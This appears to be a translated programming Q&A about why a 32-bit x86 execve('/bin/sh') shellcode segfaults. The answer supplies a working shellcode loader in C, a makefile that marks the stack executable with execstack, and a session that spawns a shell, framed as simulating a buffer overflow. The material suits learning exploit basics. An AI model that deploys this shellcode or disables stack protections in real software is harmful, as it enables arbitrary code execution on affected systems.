使用 ASM 生成 shell

Spawning a shell using ASM

我在 asm 中有以下代码来生成 shell - 但它崩溃并给出分段错误。能否请您提出可能是什么问题。

jmp short mycall               ; Immediately jump to the call instruction

shellcode:

    pop        esi                ; Store the address of "/bin/sh" in ESI
    xor        eax, eax           ; Zero out EAX
    mov byte   [esi + 7], al      ; Write the null byte at the end of the string

    mov dword  [esi + 8],  esi    ; [ESI+8], i.e. the memory immediately below the string
                                  ;   "/bin/sh", will contain the array pointed to by the
                                  ;   second argument of execve(2); therefore we store in
                                  ;   [ESI+8] the address of the string...
    mov dword  [esi + 12], eax    ; ...and in [ESI+12] the NULL pointer (EAX is 0)
    mov        al,  0xb           ; Store the number of the syscall (11) in EAX
    lea        ebx, [esi]         ; Copy the address of the string in EBX
    lea        ecx, [esi + 8]     ; Second argument to execve(2)
    lea        edx, [esi + 12]    ; Third argument to execve(2) (NULL pointer)
    int        0x80               ; Execute the system call

mycall:

    call       shellcode          ; Push the address of "/bin/sh" onto the stack
    db         "/bin/sh"

您的 shell 代码是正确的。它在尝试以 NULL 终止字符串的指令上出现段错误,因为 .text 部分现在在所有操作系统上都是只读的,包括 Linux.

要成功 运行 您的代码,您需要使 .text 部分可写或使堆栈或其他一些数据内存可执行。这里我演示一下后者模拟缓冲区溢出攻击:

buggy.c

#include <string.h>
#include "shellcode.h"

int main()
{
    char buf[512];
    memcpy(buf, shellcode_bin, shellcode_bin_len);
    ((void(*)(void))buf)();
    return 0;
}

GNUmakefile

CFLAGS := -Os -Wall -g3 -I.

NASM_FLAGS := -g -f elf

PROGRAMS := $(basename $(wildcard *.asm *.c))

.PHONY: all clean
all: $(PROGRAMS)
%.o: %.asm
    nasm $(NASM_FLAGS) $< -o $@
clean:
    rm -f $(PROGRAMS) *.o core.* shellcode.bin shellcode.h

.DELETE_ON_ERROR:

shellcode: LDFLAGS := -m32 -nostdlib
shellcode.bin: shellcode
    objcopy --only-section=.text -O binary $< $@

shellcode.h: shellcode.bin
    xxd -i $< > $@

buggy: shellcode.h
buggy: CFLAGS += -m32
buggy: buggy.c
    $(CC) $(CFLAGS) $< $(LDFLAGS) -o $@
    execstack -s $@

构建代码

$ make
nasm -g -f elf shellcode.asm -o shellcode.o
cc -m32 -nostdlib  shellcode.o   -o shellcode
objcopy --only-section=.text -O binary shellcode shellcode.bin
xxd -i shellcode.bin > shellcode.h
cc -Os -Wall -g3 -I. -m32 buggy.c -o buggy
execstack -s buggy
rm shellcode.o

示例会话

$ ./buggy
sh-4.3$ 

备注

  • execstack -s buggy 在 ELF 二进制文件上设置可执行堆栈标志
  • xxd 程序随 VIM 编辑器一起安装。它在大多数 Linux 发行版的 vim-common 包中。